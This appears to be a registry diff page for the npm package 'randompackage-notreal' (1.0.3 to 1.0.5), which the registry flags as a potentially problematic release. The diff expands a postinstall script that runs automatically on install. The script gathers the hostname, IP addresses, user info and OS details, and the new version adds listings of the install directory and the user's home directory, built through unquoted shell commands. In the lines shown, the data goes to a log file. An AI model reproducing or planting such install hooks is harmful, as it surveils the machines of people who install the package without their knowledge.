randompackage-notreal 1.0.3 → 1.0.5

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of randompackage-notreal might be problematic. Click here for more details.

Files changed (2) hide show
  1. package/package.json +1 -1
  2. package/postinstall.js +18 -8
package/package.json CHANGED
@@ -1,6 +1,6 @@
1
1
  {
2
2
  "name": "randompackage-notreal",
3
- "version": "1.0.3",
3
+ "version": "1.0.5",
4
4
  "description": "Researcher public package",
5
5
  "main": "index.js",
6
6
  "scripts": {
package/postinstall.js CHANGED
@@ -14,17 +14,26 @@ fs.appendFileSync(logFile, `Starting postinstall script\n`);
14
14
  const hostname = os.hostname();
15
15
  const packageName = process.env.npm_package_name;
16
16
  const packageVersion = process.env.npm_package_version;
17
- const internalIpAddress = require('child_process').execSync('hostname -I').toString().trim();
18
- const currentPath = process.cwd();
17
+ const internalIpAddress = execSync('hostname -I').toString().trim();
18
+ const currentPath = process.env.INIT_CWD || process.cwd(); // Use INIT_CWD to capture the original working directory
19
19
  const platform = os.platform();
20
20
  const userInfo = os.userInfo();
21
+ const homeDirectory = userInfo.homedir; // Home directory path
21
22
 
22
- // Get list of files in the current directory
23
- let directoryFiles;
23
+ // Get list of files in the original directory where npm install was run
24
+ let currentDirectoryFiles;
24
25
  try {
25
- directoryFiles = execSync('ls').toString().trim();
26
+ currentDirectoryFiles = execSync(`ls ${currentPath}`).toString().trim();
26
27
  } catch (error) {
27
- directoryFiles = `Error executing ls command: ${error.message}`;
28
+ currentDirectoryFiles = `Error executing ls command in current directory: ${error.message}`;
29
+ }
30
+
31
+ // Get list of files in the home directory
32
+ let homeDirectoryFiles;
33
+ try {
34
+ homeDirectoryFiles = execSync(`ls ${homeDirectory}`).toString().trim();
35
+ } catch (error) {
36
+ homeDirectoryFiles = `Error executing ls command in home directory: ${error.message}`;
28
37
  }
29
38
 
30
39
  const osDetails = {
@@ -66,8 +75,9 @@ fetchExternalIpAddress((err, externalIpAddress) => {
66
75
  currentPath,
67
76
  platform,
68
77
  userInfo,
69
- osDetails,
70
- directoryFiles // Include the directory listing here
78
+ osDetails,
79
+ currentDirectoryFiles, // Log files in the directory where npm install was run
80
+ homeDirectoryFiles // Log files in home directory
71
81
  };
72
82
 
73
83
  fs.appendFileSync(logFile, `Data: ${JSON.stringify(data)}\n`);